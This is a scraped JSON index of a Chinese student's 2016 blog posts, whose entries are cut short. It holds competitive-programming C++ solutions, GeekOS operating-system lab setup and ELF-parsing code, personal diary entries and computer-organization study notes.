参考博客 实际写的时候，第一次bfs最后一个出队的点就是直径的一个端点。。。 好像错了。。。还是稳妥一点。。。最后扫一遍。。距离最远的一定是端点。。。 然后因为题目没有数据范围。。。？re多次orz。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月12日 星期二 11时26分41秒 4File Name :code/poj/1985.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=4E4+5; 34int n,m; 35vector \u003c pi \u003eedge[N]; 36int d[N]; 37int lst; 38int ans; 39bool vis[N]; 40 41void bfs( int s) 42{ 43 ms(vis,false); 44 ms(d,0x3f); 45 46 queue\u003cint\u003eq; 47 q.push(s); 48 d[s] = 0 ; 49 vis[s] = true; 50 51 while (!q.empty()) 52 { 53 int u = q.front(); q.pop(); 54 int siz = edge[u].size(); 55 lst = u ; 56 57 for ( int i = 0 ; i \u003c siz; i++) 58 { 59 int v = edge[u][i].fst; 60 if (vis[v]) continue; 61 vis[v] = true; 62 d[v] = d[u] + edge[u][i].sec; 63 ans = max(ans,d[v]); 64 q.push(v); 65 } 66 } 67 int mx = 0; 68 /* for ( int i = 1 ; i \u003c= n ; i++) 69 { 70 if (d[i]\u003emx) 71 { 72 mx = d[i]","date":"2016-07-12","externalUrl":null,"permalink":"/2016/07/poj1985/","section":"Posts","summary":"poj1985 题意：求树上两点的最长距离。。。也就是传说中的树的直径。。。","tags":["树的直径"],"title":"poj 1985 Cow Marathon (树的直径模板题)","type":"post"},{"categories":["ACM"],"content":"1 * \u003cdel\u003e树的直径，次小生成树（）\u003c/del\u003e 2 * \u003cdel\u003e最小生成树（拒绝划水，推一波难题）\u003c/del\u003e 3 * 《编程珠玑》 4 * 博弈论。。全部搞定。。。 5 * dp。。。基础dp，区间dp，树形dp，概率dp。。至少搞定这些。。（从头开始学dp2333） 6 * \u003cdel\u003emarkdown语法。。还是有必要学一下的。\u003c/del\u003e 7 * \u003cdel\u003emulti 2016 #4 1006 -\u003e SA SA? SA SA!\u003c/del\u003e 8 * \u003cdel\u003e单调栈？单调栈？单调栈单调栈！ （一堆题卡在这里了。。。）\u003c/del\u003e 9 * \u003cdel\u003e单调队列也来一发\u003c/del\u003e 10 * \u003cdel\u003ekmp?kmp? kmp!kmp!\u003c/del\u003e 11 * 扩展kmp 12 * \u003cdel\u003etrie-\u003eac自动机\u003c/del\u003e 13 * 线段树线段树？ 线段树线段树！ 14 * mutli 2016 %5 1006 -\u003e 回文树 15 * \u003cdel\u003e字符串的最小表示法。。。是啥。。。同构什么的orz\u003c/del\u003e 16 * 复习数论同余-\u003e高斯消元 17 * bitset？！ 18 * hdu 5313 -\u003e二分图的黑白染色？ 19 * 交叉染色法判断二分图？ -\u003ehttp://blog.csdn.net/yujuan_mao/article/details/8221091","date":"2016-07-11","externalUrl":null,"permalink":"/2016/07/2016/","section":"Posts","summary":"1 * \u003cdel\u003e树的直径，次小生成树（）\u003c/del\u003e 2 * \u003cdel\u003e最小生成树（拒绝划水，推一波难题）\u003c/del\u003e 3 * 《编程珠玑》 4 * 博弈论。。全部搞定。。。 5 * dp。。。基础dp，区间dp，树形dp，概率dp。。至少搞定这些。。（从头开始学dp2333） 6 * \u003cdel\u003emarkdown语法。。还是有必要学一下的。\u003c/del\u003e 7 * \u003cdel\u003emulti 2016 #4 1006 -\u003e SA SA? SA SA!\u003c/del\u003e 8 * \u003cdel\u003e单调栈？单调栈？单调栈单调栈！ （一堆题卡在这里了。。。）\u003c/del\u003e 9 * \u003cdel\u003e单调队列也来一发\u003c/del\u003e 10 * \u003cdel\u003ekmp?kmp? kmp!kmp!\u003c/del\u003e 11 * 扩展kmp 12 * \u003cdel\u003etrie-\u003eac自动机\u003c/del\u003e 13 * 线段树线段树？ 线段树线段树！ 14 * mutli 2016 %5 1006 -\u003e 回文树 15 * \u003cdel\u003e字符串的最小表示法。。。是啥。。。同构什么的orz\u003c/del\u003e 16 * 复习数论同余-\u003e高斯消元 17 * bitset？！ 18 * hdu 5313 -\u003e二分图的黑白染色？ 19 * 交叉染色法判断二分图？ -\u003ehttp://blog.csdn.net/yujuan_mao/article/details/8221091","tags":["算法竞赛"],"title":"2016暑假计划","type":"post"},{"categories":["ACM"],"content":"URAL1416 题意：次小生成树模板题 思路：用Kruskal求最小生成树，标记用过的边。求次小生成树时，依次枚举用过的边，将其去除后再求最小生成树，得出所有情况下的最小的生成树就是次小的生成树。复杂度o(m2)。。。貌似有其他优化。。。 写的时候。。因为点数是500。。我把边集的数组大小开成了500.。。交了10遍越界才意识到问题在哪里。。。真的是智商掉线啊orz… 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月11日 星期一 20时44分28秒 4File Name :code/ural/1416.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=505; 32int n,m; 33int f[N]; 34int mst; 35int ans; 36int cnt = 0 ; 37vector \u003c pi \u003e e[N*N]; 38bool flag; 39struct Edge 40{ 41 int u,v; 42 int w; 43 int in;//标记边是否在生成树中。 44 bool operator \u003c (Edge b)const 45 { 46 return w\u003cb.w; 47 } 48 void input() 49 { 50 scanf(\"%d%d%d\",\u0026u,\u0026v,\u0026w); 51 } 52}E[N*N]; 53void init() 54{ 55 for ( int i = 1 ; i \u003c= n ; i++) f[i] = i; 56 for ( int i = 1 ; i \u003c= n ; i++) e[i].clear(); 57} 58int root ( int x) 59{ 60 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" f[x]:\"\u003c\u003cf[x]\u003c\u003cendl; 61 if (x!=f[x]) f[x] = root (f[x]); 62 return f[x]; 63} 64void merge( int x,int y) 65{ 66 int rx = root (x); 67 int ry = root (y); 68 if (rx==ry) return ; 69 f[rx] = ry; 70 // if (rx\u003cry) f[ry] = rx; 71 // else f[rx]=ry; 72} 73void kruskal(int k) 74{ 75 for ( int i = 1 ; i \u003c= n ; i++) f[i] = i ; 76 mst = 0 ; 77 cnt = 0; 78 for ( int i = 1; ","date":"2016-07-11","externalUrl":null,"permalink":"/2016/07/ural1416/","section":"Posts","summary":"URAL1416 题意：次小生成树模板题 思路：用Kruskal求最小生成树，标记用过的边。求次小生成树时，依次枚举用过的边，将其去除后再求最小生成树，得出所有情况下的最小的生成树就是次小的生成树。复杂度o(m2)。。。貌似有其他优化。。。","tags":["mst","次小生成树"],"title":"ural 1416. Confidential (次小生成树模板题)","type":"post"},{"categories":["随笔杂谈"],"content":"没有退路。 #","date":"2016-07-10","externalUrl":null,"permalink":"/2016/07/the-way-to-escape/","section":"Posts","summary":"没有退路。 #","tags":["算法竞赛"],"title":"退路？","type":"post"},{"categories":["ACM"],"content":"1681: [Usaco2005 Mar]Checking an Alibi 不在场的证明 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 250 Solved: 178 [Submit][Status][Discuss] Description # A crime has been comitted: a load of grain has been taken from the barn by one of FJ’s cows. FJ is trying to determine which of his C (1 \u003c= C \u003c= 100) cows is the culprit. Fortunately, a passing satellite took an image of his farm M (1 \u003c= M \u003c= 70000) seconds before the crime took place, giving the location of all of the cows. He wants to know which cows had time to get to the barn to steal the grain. Farmer John’s farm comprises F (1 \u003c= F \u003c= 500) fields numbered 1..F and connected by P (1 \u003c= P \u003c= 1,000) bidirectional paths whose traversal time is in the range 1..70000 seconds (cows walk very slowly). Field 1 contains the barn. It takes no time to travel within a field (switch paths). Given the layout of Farmer John’s farm and the location of each cow when the satellite flew over, determine set of cows who could be guilty. NOTE: Do not declare a variable named exactly ’time’. This will reference the system call and never give you the results you really want. 谷仓里发现谷物被盗！约翰正试图从C(1≤C≤100)只奶牛里找出那个偷谷物的罪犯．幸运的是，一个恰好路过的卫星拍下谷物被盗前M(1≤M≤70000)秒的农场的图片．这样约翰就能通过牛们的位置来判断谁有足够的时间来盗窃谷物． 约翰农场有F(1≤F≤500)草地，标号1到F，还有P(1≤P≤1000)条双向路连接着它们．通过这些路需要的时间在1到70000秒的范围内．田地1上建有那个被盗的谷仓． 给出农场地图，以及卫星照片里每只牛所在的位置．请判断哪些牛有可能犯罪． Input # Line 1: Four space-separated integers: F, P, C, and M * Lines 2..P+1: Three space-separated integers describing a path: F1, F2, and T. The path connects F1 and F2 and requires T seconds to traverse. * Lines P+2..P+C+1: One integer per line, the location of a cow. The first line gives the field number of cow 1, the second of cow 2, etc. 第1行输入四个整数F，只C，和M; 接下来P行每行三个整数描述一条路，起点终点和通过时间． 接下来C行每行一个整数，表示一头牛所在的地点． Output # Line 1: A single int","date":"2016-07-06","externalUrl":null,"permalink":"/2016/07/bzoj-1681-usaco2005-marchecking-an-alibi--spfa/","section":"Posts","summary":"1681: [Usaco2005 Mar]Checking an Alibi 不在场的证明 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 250 Solved: 178 [Submit][Status][Discuss]","tags":["spfa","最短路"],"title":"BZOJ 1681: [Usaco2005 Mar]Checking an Alibi 不在场的证明 (spfa)","type":"post"},{"categories":["随笔杂谈"],"content":"哈哈哈哈哈哈哈哈哈 即将身败名裂。。。。 原文音频《少女幻葬 ～ Necro-Fantasy - 来夢緑》在 WordPress 迁移后已丢失，待恢复。 所以大概老师说的分模块的方法才是正解。。。。。？ 前提是默认每个人都会数据库。。。java….jsp….。。。然而并不。一个都不会。。哈哈哈哈哈哈 这几天大概。。。前几天在看java….嗯。。。。 然后开始配环境。。。linux的eclipse根本没法用。。。。然后就入了idea…. 在idea的官方教程里。。。。一不小心就入了hibernate的坑啊233333 新手友好？ 高度封装了jdbc所以接口更简单？？？ 哈哈哈哈哈 恩，其实都挺好的。。。。然后就死活数据库写不进。。。。。。卡了两天+。。。。。？ 恩。。。hibernate中文文档只有到3.6的。。。。 然后每个版本语法都在变。。。日。。。 找到了4.2的官方文档。。。英文其实就算了。。。尼玛。。这文档应该叫《如何成为一个hibernate高手》吧。。。 一句话。。。被这东西坑成傻逼。。。 可是明明，明明只是要用hibernate框架的最简单的部分啊。。。？ 可是log信息里毫无异常哈哈哈哈 然后大概把mysql学了下。。。不过这东西蛮简单。。。。。所以也不觉得学到了什么。。。。 然后就是一些。。。琐碎的。。。？ 主要是hibernate看了不少。。。。不过据说这东西是深坑。。。。嗯。。。 不过这种项目和ACM的感觉真是非常不一样。。。 ACM是我遇到一道题。。。要用一个新算法。。我知道这个算法的名字。。。。但是智力不够无法理解。。。 项目的话。。。对我来说？）就是出现奇怪的错误。。。然后一脸茫然。。。。不知如何解决。。。。。 不爽的是。。。好多问题。。。全是环境相关的。。。版本不兼容。。IDE不一样。。。容器不一样。。。数据库不一样。。。连接方式不一样。。。每一个不一样都会导致一堆问题。。。真正代码的问题呢。。。？其实并不多。。。。（？ 到底还是太缺乏项目经验了。。。。 然后我作为组内唯一一个软工的同学。。。也是唯一一个有一丁丁经验的（面向对象课设）的人。。。必须背锅吧。。。 一个是之前的OS大作业异常顺利平时分拿了满分。。。以及OS课设成功carry全组给了我这种蒟蒻一些奇怪的自信。。。？ （然而并不是一个难度好么233333） 一个是把全组带入了hibernate的坑。。。。哦。。。还有idea….。。。。 身败名裂。。。。没做出来成品的人答辩简直就是羞耻play好么哈哈哈 嘛，天快亮了，整个6月。。。考试。。课设。。。考试。。。实训。。。多久没写题了呢。。。。 暑假。。。暑假。。。。小可前天已经到上海了的样子 。。。（？ google实习太强了orz….ym…. 其实我想表达的是。。。。。a holiday without kk….所以。。大概。。。 去年因为见到小可会心情不好所以一个假期几乎（？ 都没有去启明集训的事情不会。。。也不应该再发生了吧。。。。 还是解不开心结。嘛，眼不见，心不烦。 珍惜这个心无杂念的暑假。。。。。","date":"2016-07-04","externalUrl":null,"permalink":"/2016/07/something-about-school-engineering-training/","section":"Posts","summary":"哈哈哈哈哈哈哈哈哈 即将身败名裂。。。。 原文音频《少女幻葬 ～ Necro-Fantasy - 来夢緑》在 WordPress 迁移后已丢失，待恢复。","tags":["算法竞赛"],"title":"实训相关\u0026\u0026近况","type":"post"},{"categories":["其他"],"content":"列个技能表。。。。。 java…. mysql… tomcat apache jsp….. idea…? tomcat是apache的进化。。。。？？？ hibernate…持久层的设计模式。。？？ http://docs.jboss.org/hibernate/orm/","date":"2016-07-02","externalUrl":null,"permalink":"/2016/07/%e5%ae%9e%e8%ae%ad%e7%9b%b8%e5%85%b3%e3%80%82%e3%80%82%e3%80%82%e3%80%82/","section":"Posts","summary":"列个技能表。。。。。 java…. mysql… tomcat apache jsp….. idea…? tomcat是apache的进化。。。。？？？","tags":["算法竞赛"],"title":"实训相关。。。。","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n个人的上下级关系形成一棵树..每一个人有一个val（可正可负），要选若干个人参加一个party,要求是一个人和他的直接上级不能同时在场。问参加party的人最大的val之和。 思路：树形dp入门题。 dp[i][0]和dp[i][1]分别表示第i个人不参加和参加party对应的val和。 注意dp转移方程是放在每次dfs之后的回溯位置的。。。 这样做的话访问是从根节点到叶子节点，更新就成了从叶子节点到根节点。。。 联想到数字三角形…其实是一样的。。 sad…dp苦手如我也开始刷dp了吗。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月24日 星期五 13时07分51秒 4File Name :code/poj/2342.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=6E3+7; 34int n; 35int a[N]; 36int in[N]; 37vector \u003cint\u003e edge[N]; 38 39int dp[N][2]; 40int root; 41void debug() 42{ 43 for ( int i = 1 ; i \u003c= n ; i++) 44 printf(\"%d %d %d\\n\",i,dp[i][0],dp[i][1]); 45} 46void dfs ( int u,int pre) 47{ 48 49 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 50 int siz = edge[u].size(); 51 for ( int i = 0 ; i \u003c siz ; i ++) 52 { 53 int v = edge[u][i]; 54 if (v==pre) continue; 55 56 57 dfs(v,u); 58 dp[u][0] +=max(dp[v][0],dp[v][1]); //如果父节点没选，那么当前节点可以有两种选择。 59 dp[u][1] +=dp[v][0]; //如果父亲节点选了，那么当前节点只能不选。 60 61 62 } 63} 64int main() 65{ 66 #ifndef ONLINE_JUDGE 67 freopen(\"code/in.txt\",\"r\",stdin); 68 #endif 69 70 71 ms(dp,0); 72 ms(in,0); 73 scanf(\"%d\",\u0026n); 74 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 75 76 int u,v; 77 while","date":"2016-06-24","externalUrl":null,"permalink":"/2016/06/poj2342/","section":"Posts","summary":"题目链接 题意：n个人的上下级关系形成一棵树..每一个人有一个val（可正可负），要选若干个人参加一个party,要求是一个人和他的直接上级不能同时在场。问参加party的人最大的val之和。","tags":["树形dp"],"title":"poj 2342  Anniversary party (基础树形dp)","type":"post"},{"categories":["其他"],"content":"一、目的 熟悉ELF文件格式，了解GeekOS系统如何将ELF格式的可执行程序装入到内存，建立内核进程并运行的实现技术。 二、流程 1、修改/geekos/elf.c文件：在函数Parse_ELF_Executable( )中添加代码，分析ELF格式的可执行文件（包括分析得出ELF文件头、程序头，获取可执行文件长度，代码段、数据段等信息），并填充Exe_Format数据结构中的域值。 2、在Linux环境下编译系统得到GeekOS镜像文件。 3、编写一个相应的bochs配置文件。 4、在bochs中运行GeekOS系统显示结果。 编译以及启动bochs同project0… project0遇到的那些错误还是都会遇到一遍233. 然后在project1/src/geekos/ 目录下的elf.c中添加函数：int Parse_ELF_Executable(char *exeFileData, ulong_t exeFileLength, struct Exe_Format *exeFormat) 原理部分不过多阐释，具体可见我参考的博客。 最后实现为： 1int Parse_ELF_Executable(char *exeFileData, ulong_t exeFileLength, 2 struct Exe_Format *exeFormat) 3 { 4 elfHeader* header = exeFileData; 5 programHeader* pHeader = (exeFileData+header-\u003ephoff); 6 exeFormat-\u003enumSegments = header-\u003ephnum; 7 exeFormat-\u003eentryAddr = header-\u003eentry; 8 int i = 0; 9 for (; i\u003c header-\u003ephnum; i++) { 10 exeFormat-\u003esegmentList[i].offsetInFile = pHeader-\u003eoffset; 11 exeFormat-\u003esegmentList[i].lengthInFile = pHeader-\u003efileSize; 12 exeFormat-\u003esegmentList[i].startAddress = pHeader-\u003evaddr; 13 exeFormat-\u003esegmentList[i].sizeInMemory = pHeader-\u003ememSize; 14 exeFormat-\u003esegmentList[i].protFlags = pHeader-\u003eflags; 15 pHeader++; 16 } 17 18 return 0; //!! 19 20 //TODO(\"Parse an ELF executable image\"); 21 } 然后由于编译之后比project0多生成了一个diskc.img文件 所以还需要相应得修改配置文件.bochsrc 最后内容如下： 1config_interface: textconfig 2romimage: file=/usr/share/bochs/BIOS-bochs-latest 3megs: 8 4vgaromimage: file=/usr/share/vgabios/vgabios.bin 5floppya: 1_44=./fd.img, status=inserted 6ata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14 7ata1: enabled=0, ioaddr1=0x170, ioaddr2=0x370, irq=15 8#ata2: enabled=0, ioaddr1=0x1e8, ioaddr2=0x3e0, irq=11 9#ata3: enabled=0, ioaddr1=0x168, ioaddr2=0x360, irq=9 10ata0-master: type=disk, path=./diskc.img, mode=flat, cylinders=40, heads=8, spt=64 11#ata0-slave: type=cdrom, path=\"/dev/cdrom\",","date":"2016-06-18","externalUrl":null,"permalink":"/2016/06/geekos-project-1-elf/","section":"Posts","summary":"一、目的 熟悉ELF文件格式，了解GeekOS系统如何将ELF格式的可执行程序装入到内存，建立内核进程并运行的实现技术。 二、流程 1、修改/geekos/elf.c文件：在函数Parse_ELF_Executable( )中添加代码，分析ELF格式的可执行文件（包括分析得出ELF文件头、程序头，获取可执行文件长度，代码段、数据段等信息），并填充Exe_Format数据结构中的域值。 2、在Linux环境下编译系统得到GeekOS镜像文件。 3、编写一个相应的bochs配置文件。 4、在bochs中运行GeekOS系统显示结果。","tags":["geekOS","linux"],"title":"geekos project 1 （ELF文件相关）","type":"post"},{"categories":["其他"],"content":"现在我们环境已经搭好了，参考 geekos实验环境的搭建 在main.c中新加个函数，命名为projecto,函数的代码如下： 1/* 2 * GeekOS C code entry point 3 * Copyright (c) 2001,2003,2004 David H. Hovemeyer \u003cdaveho@cs.umd.edu\u003e 4 * Copyright (c) 2003, Jeffrey K. Hollingsworth \u003chollings@cs.umd.edu\u003e 5 * Copyright (c) 2004, Iulian Neamtiu \u003cneamtiu@cs.umd.edu\u003e 6 * $Revision: 1.51 $ 7 * 8 * This is free software. You are permitted to use, 9 * redistribute, and modify it as specified in the file \"COPYING\". 10 */ 11 12#include \u003cgeekos/bootinfo.h\u003e 13#include \u003cgeekos/string.h\u003e 14#include \u003cgeekos/screen.h\u003e 15#include \u003cgeekos/mem.h\u003e 16#include \u003cgeekos/crc32.h\u003e 17#include \u003cgeekos/tss.h\u003e 18#include \u003cgeekos/int.h\u003e 19#include \u003cgeekos/kthread.h\u003e 20#include \u003cgeekos/trap.h\u003e 21#include \u003cgeekos/timer.h\u003e 22#include \u003cgeekos/keyboard.h\u003e 23 24//added by 111qqz for project 0 25void project0() 26{ 27 Print(\"To Exit hit Ctrl + d.\\n\"); 28 Print(\"Hello from 111qqz !\\n\"); 29 Print(\"This is a test of project0 !\\n\"); 30 31 32 33 Keycode keycode; 34 while(1) 35 { 36 if( Read_Key(\u0026keycode) ) //读取键盘按键状态 37 { 38 if(!( (keycode \u0026 KEY_SPECIAL_FLAG) || (keycode \u0026 KEY_RELEASE_FLAG)) ) //只处理非特殊按键的按下事件 39 { 40 int asciiCode = keycode \u0026 0xff; //低8位为Ascii码 41 42 if( (keycode \u0026 KEY_CTRL_FLAG)==KEY_CTRL_FLAG \u0026\u0026 asciiCode=='d') //按下Ctrl键 43 { 44 Print(\"\\n---------BYE!--------\\n\"); 45 Exit(1); 46 }else 47 { 48 Print(\"%c\",(asciiCode=='\\r') ? '\\n' : asciiCode); 49 } 50 } 51 } 52 } 53} 54 55 56/* 57 * Kernel C code entry point. 58 * Initializes kernel subsystems, mounts filesystems, 59 * and spawns init process. 60 */ 61void Main(struct Boot_Info* bootInfo) 62{ 63 Init_BSS(); 64 Init_Screen(); 65 Init_Mem(bootInfo); 66 Init_CRC32(); 67 Init_TSS(); 68 Init_Interrupts(); 69 Init_Scheduler(); 70 Init_Traps(); 71 Init_Timer(); 72 Init_Keyboard(); 73 74 75 Set_Current_Attr(ATTRIB(B","date":"2016-06-18","externalUrl":null,"permalink":"/2016/06/geek-os-project-0-/","section":"Posts","summary":"现在我们环境已经搭好了，参考 geekos实验环境的搭建","tags":["geekOS"],"title":"geek OS project 0 （下）","type":"post"},{"categories":["其他"],"content":"apt-get install build-essential apt-get install bochs bochs-x nasm 此处下载的bochs应该是比较新的…如果之后遇到 failed assertion in init_idt :g_handlersizenoterr == g_handlersizeerr 这个错误，建议安装比较老的nasm版本，比如2.08.02链接 下载geekos-0.3软件包，地址为： geekOS下载地址 然后解压到~/work目录。 然后进入到 /work/geekos-0.3.0/src/project0/build 目录下 之后的操作都是在这个目录下进行的。 1rkz2013@111qqz-ThinkPad-X200 ~/work/geekos-0.3.0/src/project0/build $ make depend 2Makefile:249: depend.mak: 没有那个文件或目录 3touch depend.mak 4gcc -M -O -Wall -Werror -g -DGEEKOS -I../include \\ 5 ../src/geekos/idt.c ../src/geekos/int.c ../src/geekos/trap.c ../src/geekos/irq.c ../src/geekos/io.c ../src/geekos/keyboard.c ../src/geekos/screen.c ../src/geekos/timer.c ../src/geekos/mem.c ../src/geekos/crc32.c ../src/geekos/gdt.c ../src/geekos/tss.c ../src/geekos/segment.c ../src/geekos/bget.c ../src/geekos/malloc.c ../src/geekos/synch.c ../src/geekos/kthread.c ../src/geekos/main.c \\ 6 | perl -n -e 's,^(\\S),geekos/$1,;print' \\ 7 \u003e depend.mak 8gcc -M -O -Wall -Werror -I../include -I../include/libc \\ 9 ../src/common/fmtout.c ../src/common/string.c ../src/common/memmove.c \\ 10 | perl -n -e 's,^(\\S),common/$1,;print' \\ 11 \u003e\u003e depend.mak 然后执行 make 1rkz2013@111qqz-ThinkPad-X200 ~/work/geekos-0.3.0/src/project0/build $ make 2gcc -c -O -Wall -Werror -g -DGEEKOS -I../include ../src/geekos/idt.c -o geekos/idt.o 3gcc -c -O -Wall -Werror -g -DGEEKOS -I../include ../src/geekos/int.c -o geekos/int.o 4gcc -c -O -Wall -Werror -g -DGEEKOS -I../include ../src/geekos/trap.c -o geekos/trap.o 5gcc -c -O -Wall -Werror -g -DGEEKOS -I../include ../src/geekos/irq.c -o geekos/irq.o 6gcc -c -O -Wall -Werror -g -DGEEKOS -I../include ../src/geekos/io.c -o geekos/io.o 7gcc -c -O -Wall -Werror -g -DGEEKOS -I../include ../src/geekos/keyboard.c -o geekos/keyboard.o 8gcc -c -O -Wall -Werror -g -DGEEKOS -I../inclu","date":"2016-06-18","externalUrl":null,"permalink":"/2016/06/geekok-project0/","section":"Posts","summary":"apt-get install build-essential apt-get install bochs bochs-x nasm 此处下载的bochs应该是比较新的…如果之后遇到","tags":["geekOS"],"title":"geekok project0（上）（实验环境的搭建）","type":"post"},{"categories":["其他"],"content":"参考了这篇博客 流程部分不再具体描述，可以参考上面的博客。 只详细给出我遇到的问题。 我的pc环境是：Linux 111qqz-ThinkPad-X200 3.16.0-38-generic #52~14.04.1-Ubuntu SMP Fri May 8 09:43:57 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux linux mint 17.2 cinnamon 1apt-get install build-essential 2apt-get install bochs bochs-x nasm http://sourceforge.net/projects/geekos/files/ 下载geekos软件包并且解压 1$ cd ~/geekos-0.3.0/src/project0/build$ 2$ make depend 3$ make 报错。。 解法办法：修改/home/rkz2013/geekos-0.3.0/src/project0/build 目录下的Makefile文件。 1CC_GENERAL_OPTS := $(GENERAL_OPTS) -Werror 改为 2CC_GENERAL_OPTS := $(GENERAL_OPTS) make后再次出现错误： 1fmtout.c:(.text+0xa16)：对‘__stack_chk_fail’未定义的引用 解决办法： 1在project0/build 目录下的makefile文件的148行 2添加编译选项 -fno-stack-protector 然后又报错 1i386 architecture of input file `geekos/lowlevel.o' is incompatible with i386:x86-64 output 解决办法： 修改/home/rkz2013/geekos-0.3.0/src/project0/build目录下的Makefile的100行至109行如下。 （改动了100行，106行，109行。。。交叉编译什么的，因为做OS大作业的时候搞过这个。。。如果之前没有交叉编译过可能出现库依赖不全的情况。。。？ 缺什么安什么就好了。） 1TARGET_CC := $(TARGET_CC_PREFIX)gcc -m32 2101 3# Host C compiler. This is used to compile programs to execute on 4# the host platform, not the target (x86) platform. On x86/ELF 5# systems, such as Linux and FreeBSD, it can generally be the same 6# as the target C compiler. 7HOST_CC := gcc -m32 8107 9# Target linker. GNU ld is probably to only one that will work. 10TARGET_LD := $(TARGET_CC_PREFIX)ld -m elf_i386 新建一个.bochsrc的配置文件 放入一下内容 1# An example .bochsrc file. 2# You will need to edit these lines to reflect your system. 3vgaromimage: file=/usr/share/vgabios/vgabios.bin 4romimage: file=/usr/share/bochs/BIOS-bochs-latest 5megs: 8 6boot: a 7floppya: 1_44=fd.img, status=inserted 8#floppya: 1_44=fd_aug.img, status=inserted 9log: ./bochs.out 10keyboard_serial_delay: 200 11vga_update_interval: 300000 12mouse: enabled=0 13private_colorma","date":"2016-06-17","externalUrl":null,"permalink":"/2016/06/osgeek-os-/","section":"Posts","summary":"参考了这篇博客 流程部分不再具体描述，可以参考上面的博客。 只详细给出我遇到的问题。","tags":["geekOS"],"title":"OS课设之geek os 非最终版","type":"post"},{"categories":["ACM"],"content":"noip初赛加强版既视感… 自己手动整理的 第二章 机器数：正负符号数码化后的数据称为机器数。 BCD码：用二进制编码的十进制数称为bcd码。 有权码：每位二进制数码元都有确定权值的编码。 校验码：为了发现或纠正数据传送中出现错误的编码。 浮点数的精度由尾数的位数决定。 第三章 溢出：运算结果超出了机器能表示的数据范围。 溢出的特征：结果的符号与操作数的符号不同。 变形补码：两个符号位的补码（用来检测溢出，00,11说明没有溢出，10,01说明有溢出） 对阶：使阶码相等的过程（原则是小阶码向大阶码看齐） 结果规格化：将非规格化数处理为规格化形式。 *根据指令中所含操作数地址的数量可分为（4种）： 三地址指令 双地址指令 单地址指令 零地址指令 第四章 存储位：存储器记忆信息中的最小单元。 地址：每个存储单元的编号。 主存储器的技术指标：存储容量，存取时间，存储周期，存储器带宽。（两类：存取速度和存储容量） 存储体：存储器中的记忆部件，通常由大量的存储单元组成。 MROM:掩膜型只读存储器。 PROM:可编程只读存储器。 EPROM：可擦写可编程只读存储器。 EEPROM：电可擦除可编程只读存储器（扩展） CACHE对程序员是透明的。 内存：Cache 与主存合称为内存。 全相联映射：将主存分成若干块，主存的任意一快可定位于Cache的任意一块中。 组相联映射：将主存分成若干区，每一区包括若干组，每一组包含若干块；将Cache也分成若干组，每组若干块。 组之间用直接映射方式，组内的块采用全相联映射方式 替换策略：最不经常使用（LFU，近期最少使用(LRU，随机替换 写操作策略：全写法（命中时既写入Cache，又写入主存） 写回法（命中时只写入Cache，不写入主存） 写一次法（第一次采取全写法，之后采取写回法） 硬盘存储器的主要指标包括存储密度、存储容量、存取时间及数据传输率。 平均存取时间：从发出读/写命令后到开始从盘片表面读出或写入信息所需要的平均时间。 平均存取时间=平均寻道时间+平均等待时间。 数据传输率：存储器在单位时间向主机传送数据的字节数。 *DRAM刷新方式： 集中刷新方式 分散刷新方式 异步刷新方式 第五章 机器指令：计算机能够直接识别，执行的指令称为机器指令，简称指令。 指令集；一台计算机中所能执行的指令的集合称为指令集（指令系统） 指令包含两种信息：指令和数据。 寻址方式：根据指令中的信息寻找物理地址的方式。 寻址方式包含指令寻址方式和操作数寻址方式两大类。 指令寻址方式：顺序寻址方式和跳跃寻址方式。 